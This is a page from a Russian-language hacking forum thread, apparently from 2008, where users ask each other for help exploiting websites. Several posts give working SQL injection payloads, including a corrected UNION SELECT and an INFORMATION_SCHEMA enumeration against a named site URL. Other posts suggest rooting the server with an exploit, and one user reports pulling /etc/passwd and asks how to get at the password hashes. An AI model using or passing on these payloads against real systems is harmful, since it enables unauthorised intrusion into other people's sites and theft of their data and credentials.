FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 381 из 2422

381

Опции темы

Поиск в этой теме

Опции просмотра

25.11.2008, 07:38

krypt3r

Познавший АНТИЧАТ

Регистрация: 27.04.2007

Сообщений: 1,044

Провел на форуме:
3660186

Репутация: 905

Ясен пень, что дело в кавычках. Внутренние апострофы экранировать надо.

25.11.2008, 10:51

Ghost0ff

Новичок

Регистрация: 18.11.2008

Сообщений: 28

Провел на форуме:
109973

Репутация: 15

Отправить сообщение для Ghost0ff с помощью ICQ

Цитата:

Сообщение от krypt3r

Ясен пень, что дело в кавычках. Внутренние апострофы экранировать надо.

хм... это как? оО кинь ссылко на источник или объясни плз

25.11.2008, 15:15

WisP™

Новичок

Регистрация: 25.11.2008

Сообщений: 1

Провел на форуме:
20839

Репутация: 0

Подскажите как бороться с такой ошибкой?

error in query 'select *, count(news_id) as news_count, news_id, category.category_id from category left join news using(category_id) where category.category_id = 38 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24/* group by category.category_id' Mixing of GROUP columns (MIN(),MAX(),COUNT(),...) with no GROUP columns is illegal if there is no GROUP BY clause

столбцов 24,судя по order by!
Ссылку выложить к сожалению не могу

Последний раз редактировалось WisP™; 25.11.2008 в 15:18..

25.11.2008, 17:35

[Raz0r]

Members of Antichat - Level 5

Регистрация: 25.02.2007

Сообщений: 495

Провел на форуме:
3244717

Репутация: 1980

Отправить сообщение для [Raz0r] с помощью ICQ

@WisP™

Цитата:

error in query 'select *, count(news_id) as news_count, news_id, category.category_id from category left join news using(category_id) where category.category_id = 38 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24/* group by category.category_id' Mixing of GROUP columns (MIN(),MAX(),COUNT(),...) with no GROUP columns is illegal if there is no GROUP BY clause

там же LEFT JOIN, нужно так:
-1 GROUP BY category.category_id UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24/*

25.11.2008, 19:58

DimOnOID

Постоянный

Регистрация: 05.12.2006

Сообщений: 477

Провел на форуме:
11338585

Репутация: 441

Отправить сообщение для DimOnOID с помощью ICQ

Цитата:

Сообщение от Octave_Parango

Да, везде пусто. Обидно.
Еще как-нибудь можно подлезь? Есть варианты?

а порутать с помощью сплоента?!

25.11.2008, 20:30

Octave_Parango

Познающий

Регистрация: 06.11.2008

Сообщений: 93

Провел на форуме:
349682

Репутация: 30

Цитата:

Сообщение от DimOnOID

а порутать с помощью сплоента?!

Какой посоветуешь?

25.11.2008, 20:35

chekist

Reservists Of Antichat - Level 6

Регистрация: 14.11.2007

Сообщений: 177

Провел на форуме:
1246854

Репутация: 622

Цитата:

Сообщение от Octave_Parango

Какой посоветуешь?

введи uname -a, напиши на форуме что выдаст

25.11.2008, 18:28

d1aVOL

Познающий

Регистрация: 29.07.2007

Сообщений: 49

Провел на форуме:
279583

Репутация: 7

опять я запутался..

Код:

urbanwild@localhost - user
5.0.17-nt-log - version

Код:

CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
VIEWS
USER_PRIVILEGES
menu
wysiwyg
tbl_news
tbl_pages
tbl_wysiwyg

не могу посмотреть содержимое столбцов
http://www.heimlichinstitute.org/page.php?id=-1+union+select+1,unhex(hex(COLUMN_NAME)),3,4+FROM+ INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='USER_ PRIVILEGES'+LIMIT+1,1--

25.11.2008, 18:35

Calcutta

Постоянный

Регистрация: 06.08.2007

Сообщений: 347

Провел на форуме:
2584838

Репутация: 770

Отправить сообщение для Calcutta с помощью ICQ

Цитата:

Сообщение от d1aVOL

опять я запутался..
не могу посмотреть содержимое столбцов
http://www.heimlichinstitute.org/page.php?id=-1+union+select+1,unhex(hex(COLUMN_NAME)),3,4+FROM+ INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='USER_ PRIVILEGES'+LIMIT+1,1--

хекси название таблиц без кавычек.
http://snak3.h17.ru/tools

к примеру USER_PRIVILEGES будет выглядеть как:

Код:

16bit:0x555345525f50524956494c45474553

Последний раз редактировалось Calcutta; 25.11.2008 в 18:38..

#10

25.11.2008, 19:01

Octave_Parango

Познающий

Регистрация: 06.11.2008

Сообщений: 93

Провел на форуме:
349682

Репутация: 30

Приветствую Всех.

Вытащил все из /etc/passwd/ вот такого вида:

Цитата:

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

Как я понимаю, тут одни логины, пассы должны лежать в etc/shadow, там пусто, так как доступно только для пользователя с рутовами правами...

Подскажите, как дальше действовать?

Последний раз редактировалось Octave_Parango; 25.11.2008 в 19:04..

Страница 381 из 2422

381

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

ANTICHAT.XYZ